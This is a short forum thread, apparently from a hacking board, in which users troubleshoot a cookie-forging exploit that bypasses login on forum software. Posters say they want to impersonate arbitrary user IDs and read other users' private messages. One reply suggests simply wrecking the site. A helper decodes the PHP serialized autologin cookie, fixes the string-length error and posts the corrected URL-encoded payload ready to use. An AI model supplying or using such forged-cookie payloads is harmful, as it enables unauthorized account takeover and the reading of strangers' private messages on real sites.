I noticed that if you try to change user ID >9 the exploit stops working.
Is there a way arround this? or am I missing somthing when creating the cookie? |

| Dude just edit admin to the way you want or login as admin and then change the user through the admin panel. Or just screw the site up. Its your call. |

See thats my problem, not all websites have an admin user <9. So i try to login and it just doesnt work.
example:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%2210%22%3B%7D
That should if im doing this right log me into user 10, however it just logs me in as guest.
Im not interested in screwing sites up, just reading a few pm's  . |

If you urldecode() that stuff, you get this:
| Code: |
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"10";}
|
This is serialized data and you can see, that it says "string with length 1 char and with value '10' ". Can you spot the error ? 
Right version is this:
| Code: |
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:2:"10";}
|
And in urlencoded style it will be as
| Code: |
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A2%3A%2210%22%3B%7D
|
See ya! |

Maybe this cookie is set up, when user have anonymous status (i mean, does not have uid/uname). |
